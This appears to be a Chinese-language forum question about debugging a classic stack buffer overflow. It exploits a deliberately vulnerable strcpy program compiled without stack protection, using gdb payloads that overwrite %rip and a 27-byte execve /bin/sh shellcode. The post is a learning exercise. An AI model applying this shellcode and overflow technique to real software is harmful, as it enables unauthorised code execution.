我试图通过覆盖指令指针 %rip 来进行简单的缓冲区溢出利用。
这是我的 vuln.c 代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
char buffer[256];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
我用它编译
gcc vuln.c -o vuln -z execstack -fno-stack-protector
正如这里的问题中所讨论的那样,我相信我能够通过沿线提供一些东西来控制指令指针
gdb$ r $(python -c 'print "A"*264 + "\x7f\xff\xff\xff\xd8\xc0"[::-1]')
gdb,因为这给了我:
Stopped reason: SIGSEGV
0x00007fffffffd8c0 in ?? ()
gdb$ x 0x00007fffffffd8c0
0x7fffffffd8c0: 0x4141414141414141
gdb$
所以显然我设法将执行流重定向到我想要的内存位置。
现在我想在这个位置执行一些shellcode。为此,我使用在我试图利用的同一系统上编译的 execve shellcode:
$ objdump -d spawnshell.o
spawnshell.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <_start>:
0: 48 bb 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rbx
7: 2f 73 68
a: 48 c1 eb 08 shr $0x8,%rbx
e: 53 push %rbx
f: 48 89 e7 mov %rsp,%rdi
12: 50 push %rax
13: 57 push %rdi
14: 48 89 e6 mov %rsp,%rsi
17: b0 3b mov $0x3b,%al
19: 0f 05 syscall
Spawnshell.o 在我的系统上进行了测试并且可以正常工作。
写成更紧凑的形式:
\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b \x0f\x05 - 27 字节
现在我希望我应该能够在我的缓冲区的开头注入它,用“A”填充剩余的缓冲区,然后在最后再次覆盖指令指针:
gdb$ r $(python -c 'print "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + A"*(264-27) + "\x7f\xff\xff\xff\xd8\xc0"[::-1]')
如果我这样做,我不明白的其他事情会发生:我最终在 __strcpy_sse2_unaligned 函数中的某个地方使用以下命令:
<__strcpy_sse2_unaligned+551> movdqu xmm1,XMMWORD PTR [rsi]
和段错误:
Stopped reason: SIGSEGV
__strcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:296
296 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.
所以我的解释是,即使在我覆盖 %rip 之前,strcpy 函数也会被某些东西阻塞。
它是什么,或者我如何去找出问题所在?